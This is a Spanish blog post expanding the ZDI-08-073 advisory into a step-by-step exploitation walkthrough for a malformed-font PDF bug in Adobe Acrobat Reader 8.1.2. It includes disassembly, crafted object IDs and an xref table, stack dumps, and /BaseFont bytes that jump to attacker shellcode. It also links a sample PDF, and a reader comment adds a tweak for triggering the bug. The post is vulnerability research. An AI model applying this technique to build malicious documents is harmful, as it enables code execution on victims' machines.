Random IRC quote :      <gusanologo> soy bastante gmt

ZDI-08-073: Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability

Hola a todos,hace unos dias apareció este advisory en ZDI: Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability.No dan muchos detalles así que aquí va el advisory original con una explicación un poco más en profundidad del bug y como explotarlo.

Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability

Autor: Javier Vicente Vallejo

Web: www.vallejo.cc

Abstract

Existe una vulnerabilidad en Acrobat Reader 8.1.2 cuando parsea un pdf malformado que podrían permitir a un atacante ejecutar código a través del navegador o localmente con la apertura del fichero pdf malformado.

Affected versions

Probado con Acrobat Reader 8.1.2 y Windows XP Media Center Sp2.

Afecta a versiones anteriores del producto.

Analysis

Acrobat Reader tiene problemas parseando algunos pdfs malformados, concretamente parseando algún tipo de fuente.

El código vulnerable en AcroRd32.exe:

01194C98 B0 01 MOV AL,1

01194C9A 5E POP ESI

01194C9B C2 0400 RETN 4

01194C9E CC INT3

01194C9F CC INT3

01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <——

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

01194CB0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]

01194CB4 85C0 TEST EAX,EAX

01194CB6 74 08 JE SHORT AcroRd_1.01194CC0

01194CB8 8D48 F8 LEA ECX,DWORD PTR DS:[EAX-8]

01194CBB E9 10000000 JMP AcroRd_1.01194CD0

01194CC0 33C9 XOR ECX,ECX

Cuando acrobat reader parsea este documento pdf con el objeto fuente malformado, los datos de la pila quedan corruptos. Podemos modificar el documento pdf de manera que podamos controlar algunos de esos datos en la pila para conseguir la ejecución de código.

En el caso en el que está sucediendo la vulnerabilidad , se usa un dato de la pila como si fuera un puntero. Vemos como [esp+4] es movido a eax, para luego acceder a [eax+10] y moverlo a ecx, y luego acceder a [ecx+18] y moverlo a edx. Para finalmente saltar al contenido de edx.

En [esp+4] tenemos en vez de un valor de puntero, el id de un objeto del documento pdf. En el documento podemos controlar este id de objeto a un valor. De hecho Acrobat Reader nos permite usar valores para ids de objeto muy altos. Este valor que vamos a usar como id realmente en el código se va a usar como un puntero. Nuestro objetivo es que [<id del objeto>+10] sea una dirección válida, y además [<esta dirección válida>+18] sea un puntero a nuestra shellcode.

En el documento modificamos el id del objeto a lo que nos interesa:

1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream

ÌÌÌÌMMYDATA

endstream

endobj

xref

0 1304201

0000000000 65535 f

0000000015 00000 n

0000000080 00000 n

Debemos reparar también toda la xref table del documento. Para poder hacerlo sin estropear el documento usaremos el mecanismo de updating que soporta el formato pdf:

1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream

ÌÌÌÌMMYDATA

endstream

endobj

xref

0 1304201

0000000000 65535 f

0000000015 00000 n

0000000080 00000 n

0000212778 00000 n

0000212824 00000 n

0000601062 00000 n

0000657594 00000 n

0000657787 00000 n

0000657935 00000 n

0000727001 00000 n

0000727208 00000 n

0000885468 00000 n

0000000243 00000 f

0000000244 00000 f

0000885675 00000 n

0000939377 00000 n

0000939582 00000 n

0000939611 00000 n

0000939816 00000 n

0000962258 00000 n

0000962423 00000 n

1304200 1

0000962491 00000 n

trailer

<< /Size 1304200

/Encrypt 203 0 R

/ID [<aab8b79d962a176b774f50ab4a9ded8a><568914b21e6a11dabac5000393c326ba>]

/Root 1 0 R

>>

startxref

962613

%%EOF

Hemos usado el valor 1304200, 0x13e688, para nuestro id, que es una dirección que cae en la pila.

01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <——

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

 

mov eax,[esp+4] eax = 0x13E688

 

Analizando un poco el código encontramos algunos valores interesantes en la pila cuando el crash ocurre:

Un segundo id de objeto está almacenado en el stack también. También podemos controlar este valor.

En la pila:

0013E688 |017BDB58 XÛ{ AcroRd_1.017BDB58

0013E68C |72D08937 7‰Ðr

0013E690 |0013E754 Tç.

0013E694 |C0010000 .. À

0013E698 |0013E624 $æ.

 

1304100 0 obj<</Type/Font/Encoding/90pv-RKSJ-H/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K/Subtype/Type0/DescendantFonts 111 0 R>>

endobj

La dirección 0x13E698 contenía el object id 172, pero podemos controlarlo también, así que lo hemos cambiado a 0x13E624 (1304100 decimal). Éste es otro puntero que también cae en el stack.

Recordamos que: mov eax,[esp+4] eax = 0x13E688

Y cuando:

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

es ejecutado, ecx = 0x13E624.

Por qué queremos esta dirección?

Analizando de nuevo el stack encontramos un puntero a el valor del atributo /BaseFont (originalmente este valor era /BaseFont/TBOBOJ+NIS-S7-83pv-RKSJ-K):

0013E624 |10D80CA8 ¨.Ø

0013E628 |08023CC3 Ã< RETURN to CoolType.08023CC3 from CoolType.08021BD9

0013E62C |10E58F7C |å

0013E630 |10D961A4 ¤aÙ

0013E634 |0820E4A8 ¨ä CoolType.0820E4A8

0013E638 |00E0D68C ŒÖà.

0013E63C |00E0D6B0 °Öà. -> (originally this address in the stack pointed to TBOBOJ+NIS-S7-83pv-RKSJ-K)

Cuando se ejecuta la última instrucción del código vulnerable:

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

Recordamos que ecx = 0x13E624

Por tanto MOV EDX,DWORD PTR DS:[ECX+18] –> edx = 0xE0D6B0 (la dirección que apunta al contenido del /BaseFont, TBOBOJ+NIS-S7-83pv-RKSJ-K).

Entonces en el jmp edx, saltamos a ese valor del atributo /BaseFont.

Como el valor del /BaseFont es una cadena contenida en nuestro pdf, también podemos controlar esto, y podemos meter en esta cadena el código que se va a ejecutar cuando ocurra el jmp edx:

/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K

Hemos sobreescrito los primeros bytes con 0x68 0x78 0x56 0x43 0x21 0xc3:

push 0x12345678

ret

Cambiando 0x12345678 por el valor que queramos podemos redirigir la ejecución a la shellcode que queramos. La shellcode puede ir contenida en el propio documento pdf y quedará en memoria cuando el reader lo cargue, siempre en la misma posición.

Es posible que testeando la vulnerabilidad en otros sistemas operativos u otros entornos nos encontremos que la dirección base de la pila esté en otra posición. Los valores tomados aquí son para la dirección base 0x136000. Si esta dirección cambia solo hay que añadir la diferencia a los valores.

Aquí tenemos un pdf de ejemplo que salta a la dirección 0x12345678:

http://vallejo.cc/proyectos/adobereader812bug.rar

6 Comentarios para “ZDI-08-073: Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability”

  1. Comment por lechón | 11/24/08 at 1:29 pm

    Gracias! 😀

  2. Comment por Boken | 11/25/08 at 5:47 am

    Muchas gracias por el estudio del bug.

    Por si te interesa, lo acabo de probar con Acrobat Reader 7.0 y el fallo no se reproduce. Detecta el fichero como defectuoso y abre una pagina en blanco, pero sin provocar un crash ni ninguna excepcion.

    Saludos.

  3. Comment por Rubí | 11/25/08 at 11:29 am

    Tenía en segundo plano el stripoker mientras leia el articulo.
    He ejecutado el pdf de ejemplo y me ha saltado la tia en bolas que sale al final del juego cuando te lo pasas entero ¡gracias señor Vallejo!

  4. Comment por metalamin | 11/28/08 at 7:45 am

    Lo acabo de probar y me sale el mensaje de que se necesita el paquete japo.

    Ningun Crash ni exception …

    «Es posible que testeando la vulnerabilidad en otros sistemas operativos u otros entornos nos encontremos que la dirección base de la pila esté en otra posición.»
    ==> Seguramente !

  5. Comment por meroncasloscojones | 11/28/08 at 9:12 pm

    Cambia el tipo de fuente pa q no te pida la japo

    /Type/Font/Encoding/90pv-RKSJ-H -> /Type/Font/Encoding/Identity-H

  6. Comment por Dreg | 12/03/08 at 6:11 am

    Mola mazo 🙂

Se han cerrado los comentarios